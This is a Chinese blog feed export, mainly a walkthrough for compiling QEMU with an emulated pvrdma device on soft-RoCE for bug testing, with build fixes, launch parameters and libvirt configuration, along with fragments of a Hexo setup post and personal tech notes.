是deploy缩写</p></blockquote><h2 id="绑定域名"><a href="#绑定域名" class="headerlink" title="绑定域名"></a>绑定域名</h2><ol><li>申请域名</li><li>添加选项<br><img src="/images/build-blog/domain_set.png"></li><li>在github项目根目录添加CNAME文件, 内容为你的域名(比如 xxx.com)</li><li>进入github setting查看<br><img src="/images/build-blog/git_setting.png"><br>往下拉, 出现如下结果就成功了<br><img src="/images/build-blog/link_success.png"></li></ol><h2 id="在文章中添加图片"><a href="#在文章中添加图片" class="headerlink" title="在文章中添加图片"></a>在文章中添加图片</h2><p>第一种: 是在MYBLOG\source目录下的images目录里添加图片, 这样在首页也能引用<br>比如文件结构如下:</p><p>MYBLOG\source\<br>images<br>├── b.jpg<br>a.jpg</p><p>使用![ii1](&#x2F;a.jpg), ![ii2](&#x2F;images&#x2F;b.jpg)引用即可</p><p>第二种: </p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">npm install https://github.com/CodeFalling/hexo-asset-image --save</span><br></pre></td></tr></table></figure><p>假设MYBLOG\source\_posts里面的结构如下:<br>firstblog<br>├── apppicker.jpg<br>├── logo.jpg<br>└── rules.jpg<br>firstblog.md<br>目录名必须与md文件名一致, 使用 ![](firstblog&#x2F;logo.jgp)就可以了.</p><h1 id="添加评论框"><a href="#添加评论框" class="headerlink" title="添加评论框"></a>添加评论框</h1><p>由于gitcomment停止维护了, 而且它有些域名不能访问, 所以推荐gitalk.</p><p><code>Apollo</code>本身不支持gitalk, 可以考虑用这个主题<a href="https://github.com/achjqz/hexo-theme-apollo">hexo-theme-apollo</a></p>]]></content>
    
    
      
      
    <summary type="html">&lt;span id=&quot;more&quot;&gt;&lt;/span&gt;

&lt;p&gt;首先你需要在github创建一个仓储&lt;br&gt;&lt;img src=&quot;/images/build-blog/create_git_respository.png&quot; alt=&quot;ii1&quot;&gt;&lt;/p&gt;
&lt;h2 id=&quot;安装git-npm&quot;</summary>
      
    
    
    
    
  </entry>
  
  <entry>
    <title>如何给qemu编译配置pvrdma设备</title>
    <link href="http://474172261.github.io/2023/02/22/configure-pvrdma-for-qemu/"/>
    <id>http://474172261.github.io/2023/02/22/configure-pvrdma-for-qemu/</id>
    <published>2023-02-22T11:54:44.165Z</published>
    <updated>2021-08-04T01:27:56.000Z</updated>
    
    <content type="html"><![CDATA[<p>缘起于我在审计源码时找到pvrdma的一个bug, 因此需要构建一个pvrdma设备来测试, 但是呢, 因为rdma硬件设备很贵, 所以测试只能用模拟的rdma设备, 这里面, 主要使用的是soft-RoCE类型的模拟设备.</p><p>本身这件事不算困难, 奈何网上的资料太少了, 导致我在这方面栽了不少跟头, 分享出来, 希望能够帮助到大家.</p><span id="more"></span> <h2 id="准备rdma相关驱动"><a href="#准备rdma相关驱动" class="headerlink" title="准备rdma相关驱动"></a>准备rdma相关驱动</h2><p>最简单的方法, 使用centos7或者centos8, 执行<code>lsmod |grep rdma</code>, 如果存在rdma_rxe结果, 说明系统已经有了rdma相关驱动. 可以直接跳过这个准备步骤.</p><p>另一种方法, 编译一个新内核, 再编译用户态模块. 坑爹之路就此开始. </p><p>以下以ubuntu 16.04为例, 按照soft-RoCE的<a href="https://github.com/SoftRoCE/rxe-dev/wiki/rxe-dev:-Home">wiki</a>指示开始编译内核.</p><ol><li><p>下载<a href="https://github.com/SoftRoCE/rxe-dev/tree/rxe_submission_v18">此项目</a>的v18分支. (按我的理解, 直接下载其它kernel源码来编译也是ok的, 没必要非得用这个, 我没有测试, 就不清楚行不行了)</p></li><li><p>准备相关编译组件</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">sudo apt-get install git</span><br><span class="line">sudo apt-get install libncurses5-dev</span><br><span class="line">sudo apt-get install libssl-dev</span><br><span class="line">sudo apt-get install libibcm1 libibcm-dev ibverbs-utils libibverbs-dev </span><br><span class="line">sudo apt-get install libibverbs1 librdmacm-dev librdmacm1 rdmacm-utils </span><br><span class="line">sudo apt-get install libswitch-perl</span><br></pre></td></tr></table></figure></li><li><p>进入项目, 开始配置编译选项</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">cp</span> /boot/config-`<span class="built_in">uname</span> -r` .config</span><br><span class="line">make menuconfig</span><br></pre></td></tr></table></figure><p>弹出一个配置界面, 输入**&#x2F;<strong>, 并键入</strong>RXE**, 会得到如下结果:</p><p><img src="/images/configure-pvrdma-for-qemu.assets/image-20210525145220219.png" alt="image-20210525145220219"></p><p>按1, 跳转到改选项, 按M启用改模块, 之后回到这个配置的主界面保存配置, 再退出</p><p><img src="/images/configure-pvrdma-for-qemu.assets/image-20210525145317380.png" alt="image-20210525145317380"></p></li><li><p>开始编译并安装</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">sudo make -j 4 <span class="comment"># 此处的4是cpu的个数, 不要超过它, 不然编译可能更慢</span></span><br><span class="line">sudo make modules_install</span><br><span class="line">sudo make install</span><br><span class="line">sudo make headers_install INSTALL_HDR_PATH=/usr</span><br></pre></td></tr></table></figure></li><li><p>重启并使用新编译的内核</p></li><li><p>下载<a href="https://github.com/SoftRoCE/librxe-dev">用户态项目</a>文件, 解压后进入目录</p></li><li><p>编译并配置</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line">./configure --libdir=/usr/lib64/ --prefix=</span><br><span class="line">make</span><br><span class="line">make install</span><br><span class="line"></span><br><span class="line">sudo <span class="built_in">ln</span> -s /usr/lib64/librxe.a /usr/lib/librxe.a</span><br><span class="line">sudo <span class="built_in">ln</span> -s /usr/lib64/librxe.la /usr/lib/librxe.la</span><br><span class="line">sudo <span class="built_in">ln</span> -s /usr/lib64/librxe-rdmav2.so /usr/lib/librxe-rdmav2.so</span><br><span class="line">sudo <span class="built_in">ln</span> -s /usr/lib64/librxe.so /usr/lib/librxe.so</span><br></pre></td></tr></table></figure></li><li><p>使用下列命令查看状态, 可能是如下效果</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">$ rxe_cfg status</span><br><span class="line">  Name    Link  Driver   Speed   NMTU  IPv4_addr        RDEV  RMTU          </span><br><span class="line">  ens160  <span class="built_in">yes</span>   vmxnet3  10GigE  1500  192.168.170.129  </span><br></pre></td></tr></table></figure></li><li><p>执行下列命令添加网卡并查看状态</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br></pre></td><td class="code"><pre><span class="line">$ rxe_cfg add ens160</span><br><span class="line">$ rxe_cfg start</span><br><span class="line">$ ibv_devices</span><br><span class="line">    device             node GUID</span><br><span class="line">    ------          ----------------</span><br><span class="line">    rxe0            020c29fffeee3b66</span><br><span class="line">$ ibv_devinfo</span><br><span class="line">hca_id:rxe0</span><br><span class="line">transport:InfiniBand (0)</span><br><span class="line">fw_ver:0.0.0</span><br><span class="line">node_guid:020c:29ff:feee:3b66</span><br><span class="line">sys_image_guid:0000:0000:0000:0000</span><br><span class="line">vendor_id:0x0000</span><br><span class="line">vendor_part_id:0</span><br><span class="line">hw_ver:0x0</span><br><span class="line">phys_port_cnt:1</span><br><span class="line">port:1</span><br><span class="line">state:PORT_ACTIVE (4)</span><br><span class="line">max_mtu:4096 (5)</span><br><span class="line">active_mtu:1024 (3)</span><br><span class="line">sm_lid:0</span><br><span class="line">port_lid:0</span><br><span class="line">port_lmc:0x00</span><br><span class="line">link_layer:Ethernet</span><br><span class="line"></span><br></pre></td></tr></table></figure></li><li><p>测试网络状态</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">$ ibv_rc_pingpong -d rxe0 -g 1</span><br><span class="line"><span class="built_in">local</span> address:  LID 0x0000, QPN 0x000011, PSN 0x29338a, GID fe80::12cb:883b:5ccf:e656</span><br></pre></td></tr></table></figure><p>另外开启一个bash, 执行<code>ibv_rc_pingpong -d rxe0 -g 1 127.0.0.1</code></p><p>这时候server端会多出一行输出:</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">remote address: LID 0x0000, QPN 0x000012, PSN 0xe63ffc, GID fe80::12cb:883b:5ccf:e656</span><br></pre></td></tr></table></figure><p>client端会得到如下输出:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">local address:  LID 0x0000, QPN 0x000012, PSN 0xe63ffc, GID fe80::12cb:883b:5ccf:e656</span><br><span class="line">  remote address: LID 0x0000, QPN 0x000011, PSN 0x29338a, GID fe80::12cb:883b:5ccf:e656</span><br></pre></td></tr></table></figure></li></ol><h2 id="配置qemu编译选项"><a href="#配置qemu编译选项" class="headerlink" title="配置qemu编译选项"></a>配置qemu编译选项</h2><ol><li><p>修改qemu项目中如下文件<code>contrib/rdmacm-mux/meson.build</code></p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line">  executable(&#x27;rdmacm-mux&#x27;, files(&#x27;main.c&#x27;),</span><br><span class="line">             dependencies: [glib, libumad],</span><br><span class="line">             build_by_default: true,</span><br><span class="line">             install: false)</span><br><span class="line">改为</span><br><span class="line">  executable(&#x27;rdmacm-mux&#x27;, files(&#x27;main.c&#x27;),</span><br><span class="line">             dependencies: [glib, libumad],</span><br><span class="line">             build_by_default: true,</span><br><span class="line">             install: true)</span><br></pre></td></tr></table></figure></li><li><p>执行如下编译配置</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">$ ./configure --enable-rdma --enable-pvrdma --enable-kvm  --enable-debug  --target-list=x86_64-softmmu</span><br></pre></td></tr></table></figure></li><li><p>接下来就是make和make install了. 具体参考上一篇关于qemu编译的blog.</p></li></ol><h2 id="编译过程中可能遇到的问题"><a href="#编译过程中可能遇到的问题" class="headerlink" title="编译过程中可能遇到的问题"></a>编译过程中可能遇到的问题</h2><ol><li><p>出现如下提示:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">&quot; OpenFabrics librdmacm/libibverbs/libibumad not present.&quot; \</span><br><span class="line">&quot; Your options:&quot; \</span><br><span class="line">&quot;  (1) Fast: Install infiniband packages (devel) from your distro.&quot; \</span><br><span class="line">&quot;  (2) Cleanest: Install libraries from www.openfabrics.org&quot; \</span><br><span class="line">&quot;  (3) Also: Install softiwarp if you don&#x27;t have RDMA hardware&quot;</span><br></pre></td></tr></table></figure><p>查看项目build&#x2F;config.log文件, 查看出错原因. 我的主要错误是:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">if has error:config-temp/qemu-conf.c:1:27: fatal error: rdma/rdma_cma.h: No such file or directory</span><br></pre></td></tr></table></figure><p>通过执行<code>find / -name &quot;rdma_cma.h</code>对整个硬盘搜索rdma_cma.h文件, 发现没找到, 就去网上找了它所在的<a href="https://github.com/ofiwg/librdmacm">librdmacm库</a>, 下载解压后, 使用<code>./autogen.sh &amp;&amp; ./configure &amp;&amp; make &amp;&amp; make install</code>安装即可.</p></li><li><p><code>ERROR: Could not detect Ninja v1.7 or newer</code></p><p>这个应该是本机安装的ninja组件, 或者版本过低, 可以通过如下命令下载安装解决</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">$ wget https://github.com/ninja-build/ninja/releases/download/v1.8.2/ninja-linux.zip</span><br><span class="line">$ sudo unzip ninja-linux.zip -d /usr/local/bin/</span><br><span class="line">$ sudo update-alternatives --install /usr/bin/ninja ninja /usr/local/bin/ninja 1 --force</span><br><span class="line">输出:update-alternatives: using /usr/local/bin/ninja to provide /usr/bin/ninja (ninja) <span class="keyword">in</span> auto mode</span><br><span class="line">$ /usr/bin/ninja --version</span><br><span class="line">1.8.2</span><br></pre></td></tr></table></figure></li><li><p><code>../hw/block/virtio-blk.c:30:22: fatal error: scsi/sg.h: No such file or directory compilation terminated.</code></p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br></pre></td><td class="code"><pre><span class="line">$ wget http://launchpadlibrarian.net/353523714/libc6-dev_2.23-0ubuntu10_amd64.deb</span><br><span class="line">$ dpkg -i libc6-dev_2.23-0ubuntu10_amd64.deb</span><br><span class="line">(Reading database ... 184747 files and directories currently installed.)</span><br><span class="line">Preparing to unpack libc6-dev_2.23-0ubuntu10_amd64.deb ...</span><br><span class="line">Unpacking libc6-dev:amd64 (2.23-0ubuntu10) over (2.23-0ubuntu3) ...</span><br><span class="line">dpkg: dependency problems prevent configuration of libc6-dev:amd64:</span><br><span class="line"> libc6-dev:amd64 depends on libc6 (= 2.23-0ubuntu10); however:</span><br><span class="line">  Version of libc6:amd64 on system is 2.23-0ubuntu3.</span><br><span class="line"> libc6-dev:amd64 depends on libc-dev-bin (= 2.23-0ubuntu10); however:</span><br><span class="line">  Version of libc-dev-bin on system is 2.23-0ubuntu3.</span><br><span class="line"></span><br><span class="line">dpkg: error processing package libc6-dev:amd64 (--install):</span><br><span class="line"> dependency problems - leaving unconfigured</span><br><span class="line">Errors were encountered <span class="keyword">while</span> processing:</span><br><span class="line"> libc6-dev:amd64</span><br><span class="line">$ apt -f install</span><br></pre></td></tr></table></figure></li></ol><h2 id="启动参数"><a href="#启动参数" class="headerlink" title="启动参数"></a>启动参数</h2><ol><li><p>参照<a href="https://github.com/qemu/qemu/blob/master/docs/pvrdma.txt">官方指导文档</a>, 需要保证ib_cm模块没有加载, 因此先卸载相关模块. 并且加载必要模块</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">$ rmmod rdma_ucm rdma_cm ib_cm</span><br><span class="line">$ insmod ib_umad</span><br></pre></td></tr></table></figure><blockquote><p>注意, 默认情况下, rdmacm-mux文件的输出是调用的syslog, 建议改成printf 并把umad_open_port的返回结果输出出来, 以便找到失败原因.</p></blockquote></li><li><p>在执行上述操作前, 请确保已经执行过了<code>rxe_cfg start</code>操作.</p></li><li><p>执行下列命令, 创建所需socket</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">$ qemu-6.0.0/build/contrib/rdmacm-mux/rdmacm-mux -d rxe0</span><br><span class="line">unix_socket_path=/var/run/rdmacm-mux-rxe0-1 这行是改成<span class="built_in">printf</span>后会输出的内容.</span><br><span class="line">rdma-device-name=rxe0 这行是改成<span class="built_in">printf</span>后会输出的内容.</span><br><span class="line">rdma-device-port=1 这行是改成<span class="built_in">printf</span>后会输出的内容.</span><br><span class="line">Service started</span><br></pre></td></tr></table></figure></li><li><p>创建桥接网络</p>  <figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">$ apt-get install uml-utilities</span><br><span class="line">$ tunctl -t tap0 -u `<span class="built_in">whoami</span>`</span><br><span class="line">$ <span class="built_in">chmod</span> 0666 /dev/net/tun 让所有用户可读</span><br><span class="line">$ ifconfig tap0 192.168.2.1 up 给tap0设置ip段</span><br><span class="line">添加防火墙规则</span><br><span class="line">$ <span class="built_in">echo</span> 1 &gt; /proc/sys/net/ipv4/ip_forward</span><br><span class="line">$ iptables -t nat -A POSTROUTING -j MASQUERADE</span><br></pre></td></tr></table></figure><p>  <a href="https://zhou-yuxin.github.io/articles/2018/%E5%AE%89%E8%A3%85qemu-kvm%E4%BB%A5%E5%8F%8A%E9%85%8D%E7%BD%AE%E6%A1%A5%E6%8E%A5%E7%BD%91%E7%BB%9C/index.html">参考网址</a></p></li><li><p>最后, qemu启动参数</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">$ /usr/local/bin/qemu-system-x86_64 -object memory-backend-ram,<span class="built_in">id</span>=mb1,size=1G,share=on -numa node,memdev=mb1 \</span><br><span class="line">-netdev tap,<span class="built_in">id</span>=mynet0,ifname=tap0,script=no,downscript=no \</span><br><span class="line">-device vmxnet3,netdev=mynet0,<span class="built_in">id</span>=net0,mac=52:54:00:e3:00:81,addr=0x10.0,multifunction=on  \</span><br><span class="line">-chardev socket,path=/var/run/rdmacm-mux-rxe0-1,<span class="built_in">id</span>=mads -device pvrdma,addr=0x10.1,ibdev=rxe0,netdev=net0,mad-chardev=mads \</span><br><span class="line">-m 1G -hda qemu-6.0.0/centos7.img --enable-kvm</span><br></pre></td></tr></table></figure><p>根据官方文档描述, pvrdma必须要三个参数: ibdev, netdev, mad-chardev, 并且<code>To support it, pvrdma device is composed of two PCI functions, an Ethernet device of type vmxnet3 on PCI slot 0 and a PVRDMA device on PCI slot 1.</code>, 即在slot 0必须是一个vmxnet3网卡, slot 1是pvrdma, 所以此处vmxnet3的pci地址给的是 0x10.0, 则pvrdma是0x10.1.</p></li></ol><h2 id="libvirt配置"><a href="#libvirt配置" class="headerlink" title="libvirt配置"></a>libvirt配置</h2><p>如果不想直接用命令启动qemu, 用libvirt也可</p><ol><li><p>假如已经存在一个格式为qcow2的虚拟机image文件了, 假设文件名为centos7.img</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br></pre></td><td class="code"><pre><span class="line">安装相关组件</span><br><span class="line">$ apt install libvirt libvirt-python libguestfs-tools virt-install</span><br><span class="line"></span><br><span class="line">启动相关服务</span><br><span class="line">$ systemctl <span class="built_in">enable</span> libvirtd</span><br><span class="line">$ systemctl start libvirtd</span><br><span class="line"></span><br><span class="line">查看桥接网卡</span><br><span class="line">$ brctl show</span><br><span class="line">bridge namebridge <span class="built_in">id</span>STP enabledinterfaces</span><br><span class="line">virbr08000.525400455887<span class="built_in">yes</span>virbr0-nic</span><br><span class="line"></span><br><span class="line">添加现成虚拟机</span><br><span class="line">$ virt-install --import --name vm1 \</span><br><span class="line">--memory 1024 --vcpus 1 --cpu host \</span><br><span class="line">--disk centos7.img,format=qcow2,bus=virtio \</span><br><span class="line">--network bridge=virbr0,model=virtio \</span><br><span class="line">--os-type=linux \</span><br><span class="line">--os-variant=centos7.0 \</span><br><span class="line">--nographics \</span><br><span class="line">--noautoconsole</span><br></pre></td></tr></table></figure></li><li><p>安装后, 先关闭虚拟机, 然后在<code>/etc/libvirt/qemu/</code>目录下找到vm1.xml文件</p><figure class="highlight xml"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br></pre></td><td class="code"><pre><span class="line"><span class="tag">&lt;<span class="name">domain</span> <span class="attr">type</span>=<span class="string">&#x27;kvm&#x27;</span>&gt;</span></span><br><span class="line">  <span class="tag">&lt;<span class="name">name</span>&gt;</span>vm2<span class="tag">&lt;/<span class="name">name</span>&gt;</span></span><br><span class="line">  <span class="tag">&lt;<span class="name">devices</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">interface</span> <span class="attr">type</span>=<span class="string">&#x27;bridge&#x27;</span>&gt;</span></span><br><span class="line">      <span class="tag">&lt;<span class="name">mac</span> <span class="attr">address</span>=<span class="string">&#x27;56:b4:44:e9:62:dc&#x27;</span>/&gt;</span></span><br><span class="line">      <span class="tag">&lt;<span class="name">source</span> <span class="attr">bridge</span>=<span class="string">&#x27;virbr0&#x27;</span>/&gt;</span></span><br><span class="line">      <span class="tag">&lt;<span class="name">model</span> <span class="attr">type</span>=<span class="string">&#x27;vmxnet3&#x27;</span>/&gt;</span></span><br><span class="line">      <span class="tag">&lt;<span class="name">address</span> <span class="attr">type</span>=<span class="string">&#x27;pci&#x27;</span> <span class="attr">domain</span>=<span class="string">&#x27;0x0000&#x27;</span> <span class="attr">bus</span>=<span class="string">&#x27;0x00&#x27;</span> <span class="attr">slot</span>=<span class="string">&#x27;0x10&#x27;</span> <span class="attr">function</span>=<span class="string">&#x27;0x0&#x27;</span> <span class="attr">multifunction</span>=<span class="string">&#x27;on&#x27;</span>/&gt;</span></span><br><span class="line">    <span class="tag">&lt;/<span class="name">interface</span>&gt;</span></span><br><span class="line">  <span class="tag">&lt;/<span class="name">devices</span>&gt;</span></span><br><span class="line">    </span><br><span class="line">  <span class="tag">&lt;<span class="name">qemu:commandline</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">qemu:arg</span> <span class="attr">value</span>=<span class="string">&#x27;-object&#x27;</span>/&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">qemu:arg</span> <span class="attr">value</span>=<span class="string">&#x27;memory-backend-ram,id=mb1,size=1G,share&#x27;</span>/&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">qemu:arg</span> <span class="attr">value</span>=<span class="string">&#x27;-numa&#x27;</span>/&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">qemu:arg</span> <span class="attr">value</span>=<span class="string">&#x27;node,memdev=mb1&#x27;</span>/&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">qemu:arg</span> <span class="attr">value</span>=<span class="string">&#x27;-chardev&#x27;</span>/&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">qemu:arg</span> <span class="attr">value</span>=<span class="string">&#x27;socket,path=/var/run/rdmacm-mux-rxe0-1,id=mads&#x27;</span>/&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">qemu:arg</span> <span class="attr">value</span>=<span class="string">&#x27;-device&#x27;</span>/&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">qemu:arg</span> <span class="attr">value</span>=<span class="string">&#x27;pvrdma,addr=10.1,ibdev=rxe0,netdev=bridge0,mad-chardev=mads&#x27;</span>/&gt;</span> 注意这里是10.1 必须和vmxnet3的bus=&#x27;0x00&#x27; slot=&#x27;0x10&#x27; function=&#x27;0x0&#x27; 对应, 保证bus相同, slot相同, 其中function: 0为vmxnet3, 1为pvrdma.</span><br><span class="line">  <span class="tag">&lt;/<span class="name">qemu:commandline</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;/<span class="name">domain</span>&gt;</span></span><br></pre></td></tr></table></figure><p>此处的bridge0是哪一个我不是很确定, 需要的人得自己琢磨一下了. 我配置这里主要是为了获取vmxnet3的真实启动配置参数.</p></li></ol><p><strong>常见的virsh命令</strong>:</p><ul><li>列出所有虚拟机<br><code>virsh list --all</code></li><li>获取虚拟机信息<br><code>virsh dominfo vm1</code></li><li>关闭虚拟机<br><code>virsh shutdown vm1</code></li><li>启动虚拟机<br><code>virsh start vm1</code></li><li>虚拟机随宿主机启动而自动启动<br><code>virsh autostart vm1</code></li><li>安全重启虚拟机<br><code>virsh reboot vm1</code></li><li>重启虚拟机(不安全，hard reset)<br><code>virsh reset vm1</code></li><li>删除虚拟机<br><code>virsh shutdown vm1</code><br><code>virsh undefine vm1</code><br><code>virsh pool-destroy vm1</code></li></ul><h2 id="结语"><a href="#结语" class="headerlink" title="结语"></a>结语</h2><p>一开始并不知道centos可以省去那么多麻烦, 在ubuntu上卡了很久很久, 问了Li Qiang大佬和官方的人, 也没有得到具体的配置方法, 最后总算是靠着一行行看配置文件找到失败原因, 并一一解决, 这里更不提那个softiWarp了, 这里虽然没用到, 但是那个错误提示里提到后, 我就以为需要配置它, 也踩了不少的坑 T-T. </p><p>在rdmacm-mux的编译和启动那一步也卡了很久, 不明白为什么启动不了server, 后来明白是自己给的设备名字不对, 并不是一个任意名字, 必须是设备名.</p><p>启动参数那也费了很多力气, 官方文档是用libvirt, 由于缺乏相关使用经验, 就先自己琢磨的参数, 后来实在有问题, 就用libvirt创建了虚拟机, 并修改了相关文件的配置, 添加成功命令, 并一步步找失败原因. </p><p>他们文档说是要让vmxnet3在slot 0, 但是并没有说怎么放到slot 0, 中间还遇到<code>PCI: single function device can&#39;t be populated in function 10.1</code>错误, 后来发现是vmxnet3缺少multifunction参数所致.</p><p>qemu官方文档真的太坑了, 信息给的少, 网上也缺乏相关资料, 只能自己琢磨, 唉, 坑啊~</p><p>最后呢, 是我发现的3个相关bug: <a href="https://access.redhat.com/security/cve/cve-2021-3582">cve-2021-3582</a>, <a href="https://access.redhat.com/security/cve/cve-2021-3607">cve-2021-3607</a>, <a href="https://access.redhat.com/security/cve/cve-2021-3608">cve-2021-3608</a>, 虽然其中两个都有可能导致虚拟化逃逸, 但是现在没有任何厂商在用这个设备, 所以也就没什么实质性的危害.</p>]]></content>
    
    
    <summary type="html">&lt;p&gt;缘起于我在审计源码时找到pvrdma的一个bug, 因此需要构建一个pvrdma设备来测试, 但是呢, 因为rdma硬件设备很贵, 所以测试只能用模拟的rdma设备, 这里面, 主要使用的是soft-RoCE类型的模拟设备.&lt;/p&gt;
&lt;p&gt;本身这件事不算困难, 奈何网上的资料太少了, 导致我在这方面栽了不少跟头, 分享出来, 希望能够帮助到大家.&lt;/p&gt;</summary>
    
    
    
    
  </entry>
  
  <entry>
    <title>记录生活小事</title>
    <link href="http://474172261.github.io/2023/02/02/life-record/"/>
    <id>http://474172261.github.io/2023/02/02/life-record/</id>
    <published>2023-02-02T04:15:02.124Z</published>
    <updated>2025-08-05T08:37:51.010Z</updated>
    
    <content type="html"><![CDATA[<p>记录生活小事.</p><span id="more"></span><h2 id="电信宽带切换桥接折腾"><a href="#电信宽带切换桥接折腾" class="headerlink" title="电信宽带切换桥接折腾"></a>电信宽带切换桥接折腾</h2><p>电信宽带的pppoe密码是可以找客服重新设置的. 超管密码可以找维护宽带的人给. </p><p>可以查看下面的图中状态找到上网对应的连接名称:</p><p><img src="/images/life-record.assets/1738469985381.png" alt="1738469985381"></p><p>然后在下列界面更改成桥接或者恢复成路由:</p><p><img src="/images/life-record.assets/1738470089621.png" alt="1738470089621"></p><p>注意, 一定不要修改vlanID, 改了就无法正常登录.</p><h2 id="华硕路由器折腾"><a href="#华硕路由器折腾" class="headerlink" title="华硕路由器折腾"></a>华硕路由器折腾</h2><p>华硕路由器更新后莫名其妙崩溃. 然后无限重启(看指示灯, 会循环亮起后灭掉, 可能需要一分钟左右). 客服说换个电源器, 我当时没有多余电源, 就没试, 试着用救援模式刷机, 结果也不行. 最后买了个新路由器, 然后用路由器电源接上试了一下, 没想到真的好了!!!!!!</p><h2 id="HDMI-故障"><a href="#HDMI-故障" class="headerlink" title="HDMI 故障"></a>HDMI 故障</h2><p>笔记本的hdmi突然就不好使了, 更新卸载驱动弄了好几次, 更换hdmi线, 更换显示器都试过了, 最终确认了hdmi不好使.</p><p>本来以为坏了, 结果看到了一篇帖子: <a href="https://nb.zol.com.cn/796/7963367.html">一个小技巧解决笔记本HDMI接口失灵</a>( 不确定原创作者是不是他), 试了一下真的好了 :)</p><h2 id="不接显示器无法启动主机系统"><a 